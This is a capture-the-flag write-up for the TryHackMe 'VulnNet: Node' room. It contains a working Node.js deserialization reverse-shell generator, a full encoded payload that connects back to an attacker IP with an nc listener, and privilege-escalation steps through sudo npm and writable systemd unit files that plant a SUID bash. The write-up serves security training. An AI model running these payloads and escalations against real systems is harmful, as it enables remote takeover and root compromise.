# VulnNet: Node (Node.js deserialization + /npm privesc and services privesc)

## THM Writeup – VulnNet: Node

[**April 11, 2022**](https://titus74.com/thm-writeup-vulnnet-node/)

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11125743/2282f3ddf440496fa807c252078163a1-65px.png" alt="THM Writeup - VulnNet: Node"><figcaption></figcaption></figure>

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

Room: [VulnNet: Node](https://tryhackme.com/room/vulnnetnode)

Difficulty: Easy

Operating System: Linux

Author: [SkyWaves](https://tryhackme.com/p/SkyWaves)

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

Add IP address to your `hosts` file:

```
echo '10.10.153.129    node.thm' >> /etc/hosts
```

Scan the target machine – find open ports first:

```
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv node.thm

PORT     STATE SERVICE    REASON
8080/tcp open  http-proxy syn-ack ttl 64
```

Get more details about open ports:

```
nmap -T4 -A -p 8080 node.thm

PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet &ndash; Your reliable news source &ndash; Try Now!
```

#### Enumeration

Explore the web application – browse to <http://node.thm:8080/>

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130318/1140b554ed324d1e8af0fa437130a098-1024x470.png" alt="webapp on port 8080"><figcaption></figcaption></figure>

I viewed the page source, but found nothing interesting, then I noticed a cookie, that looks like Base64 encoded:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130410/b4909bcf5b1f4bddaa822bbdc29c79c5-1024x126.png" alt="base64 encoded cookie"><figcaption></figcaption></figure>

Grab the cookie and paste it e.g. to the BurpSuite’s Decoder – first URL decode it and then Base64 decode it:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130549/0669e4fcb0fd4d1d9a449bafaa46eeae-1024x364.png" alt="burpsuite decoder decoding"><figcaption></figcaption></figure>

This looks great – a JSON that says the app what user are we – let’s try to bypass authentication completelly.

Take the JSON, modify it, Base64 encode it and finally URL encode it:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130700/8574c85e98314b63b096ca0e89d913e1-1024x362.png" alt="burpsuite decoder encoding"><figcaption></figcaption></figure>

Now take the encoded text and modify the cookie via developer console, then refresh the page:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130806/2f4ad873db204c3ebb904cb1900f3df5-1024x470.png" alt="webapp admin page"><figcaption></figcaption></figure>

Do you see the difference? There is “WELCOME, ADMIN” instead of “WELCOME, GUEST”, however the app still asks us for credentials. Hm nevermind, I remember I did a box few weeks ago where I exploited nodejs deserialization vulnerability. This app definitely uses deserialization, otherwise how would it know we changed the cookie to be Admin? We can even prove it…

Change the cookie again, but this time set the cookie value to some gibberish (random text) and refresh the page:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11130948/56af55ad53184bdd871c028c584e261b-1024x512.png" alt="nodejs deserialization error"><figcaption></figcaption></figure>

Here we have the proof.

Use this script to generate a payload:

```
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
import base64

#if len(sys.argv) != 3:
#    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
#    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print("[+] LHOST = " + IP_ADDR)
print("[+] LPORT = " + PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
print("njs payload: " + NODEJS_REV_SHELL)
PAYLOAD = charencode(NODEJS_REV_SHELL)
PAYLOAD = "eval(String.fromCharCode(" + PAYLOAD + "))"
print(PAYLOAD)

PAYLOAD = '{"rce":"_$$ND_FUNC$$_function (){' + PAYLOAD + '}()"}'
print(PAYLOAD)
PAYLOAD = base64.b64encode(PAYLOAD.encode('ascii'))
print(PAYLOAD)
```

You can find the original script [here](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py) – the above is modified version so it can be run with python3 and the output is Base64 encoded.

Save it to a file e.g. `nodejsshell.py`

Generate the payload:

```
python3 nodejsshell.py 10.10.16.113 4242

b'eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDU0LDQ2LDQ5LDQ5LDUxLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUyLDUwLDUyLDUwLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9'
```

Copy generated payload, paste it to the BurpSuite’s Decoder and URL encode it:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11131257/e665d66b3c3d4f2f9e844b64f6d85f57-1024x239.png" alt="burp suite url encoding"><figcaption></figcaption></figure>

Run a listener on your attacking machine:

```
nc -lnvp 4242
```

Now take the URL encoded payload, paste it as value of the cookie and refresh the page:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11131420/b02f6b9dee23411c948d51bbe3a7c846-1024x453.png" alt="webapp modified cookie"><figcaption></figcaption></figure>

And we received a reverse connection – simple shell.

#### User flag

We need to stabilize the shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
export TERM=xterm-256color
```

Look around a little bit:

```
www@vulnnet-node:~/VulnNet-Node$ ls -lA /home
total 8
drwxr-x--- 17 serv-manage serv-manage 4096 Jan 24  2021 serv-manage
drwxr-xr-x  7 www         www         4096 Jan 24  2021 www
www@vulnnet-node:~/VulnNet-Node$ ls -lA /home/www
total 32
lrwxrwxrwx 1 root        root           9 Jan 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 www         www          220 Jan 24  2021 .bash_logout
-rw-r--r-- 1 www         www         3771 Jan 24  2021 .bashrc
drwx------ 3 www         www         4096 Jan 24  2021 .config
drwxrwxr-x 3 www         www         4096 Jan 24  2021 .local
drwxrwxr-x 5 serv-manage serv-manage 4096 Jan 24  2021 .npm
drwxrwxr-x 5 www         www         4096 Feb  7 19:04 .pm2
-rw-r--r-- 1 www         www          807 Jan 24  2021 .profile
drwxr-xr-x 5 www         www         4096 Jan 24  2021 VulnNet-Node
```

Ok, we are `www` user and we are in its home directory, there is no user flag and we don’t have permissions even to look into `serv-manage`‘s home directory.

Let’s try to find how to escalate our privileges:

```
www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm
```

We can run npm as `serv-manage` user.

Check GTFOBins how to exploit it:

<figure><img src="https://cdn.titus74.com/wp-content/uploads/2022/04/11131656/cd6e5bdade644f8184976358eac0b97a.png" alt="gtfobins sudo npm"><figcaption></figcaption></figure>

Now exploit it:

```
www@vulnnet-node:~/VulnNet-Node$ TF=$(mktemp -d)
www@vulnnet-node:~/VulnNet-Node$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
www@vulnnet-node:~/VulnNet-Node$ chmod 777 $TF
www@vulnnet-node:~/VulnNet-Node$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.TvrCvOCp2q
> /bin/sh

$ id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)
```

As you can see we need to set full permissions before we run sudo npm as `serv-manage` user.

Read the user flag:

```
$ cat user.txt	
THM{[REDACTED]}
```

#### Root flag

Spawn a shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash");'
```

Let’s find a privilege escalation vector to root user:

```
serv-manage@vulnnet-node:~$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload
```

We can start and stop `vulnnet-auto.timer` service as root without password.

Find the `vulnnet-auto.timer` service location and check the permissions:

```
serv-manage@vulnnet-node:~$ locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24  2021 /etc/systemd/system/vulnnet-auto.timer
```

This is great – as user `serv-manage` we have `write` permissions to `vulnnet-auto.timer`

Check the content:

```
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target
```

Hm, this service calls other service named `vulnnet-job.service` every 30 minutes.

First we have to check if we have write permissions also to `vulnnet-job.service`:

```
serv-manage@vulnnet-node:~$ locate vulnnet-job.service
/etc/systemd/system/vulnnet-job.service
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24  2021 /etc/systemd/system/vulnnet-job.service
```

Great, so we’ll use this misconfigurations to escalate our privileges to root – actually it is a combination of misconfigurations:

* we can restart (start/stop) the `vulnnet-auto.timer` service
* we have write permissions to both services: `vulnnet-auto.timer` and `vulnnet-job.service`
* we can reload the daemon (systemd files) – we need to do this after we change the services definitions

See the content of `vulnnet-job.service`:

```
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target
```

Here we need to change `ExecStart` parameter.

Ok, first change the content of `vulnnet-auto.timer`:

```
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/1 
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target
```

We change only `OnCalendar` value – so the services runs every minute.

Now change the content of `vulnnet-job.service`:

```
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
# ExecStart=/bin/df
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/bashroot;chmod +xs /tmp/bashroot'

[Install]
WantedBy=multi-user.target
```

Now stop `vulnnet-auto.timer` service, reload systemd files and start `vulnnet-auto.timer`:

```
serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer
```

Wait a minute and check if `/tmp/bashroot` was created.

If it was, execute and you’re root now:

```
serv-manage@vulnnet-node:~$ /tmp/bashroot -p
bashroot-4.4# id
uid=1000(serv-manage) gid=1000(serv-manage) euid=0(root) egid=0(root) groups=0(root),1000(serv-manage)
bashroot-4.4#
```

Our effective permissions are root…

Read the root flag:

```
bashroot-4.4# cat /root/root.txt
THM{[REDACTED]}
```
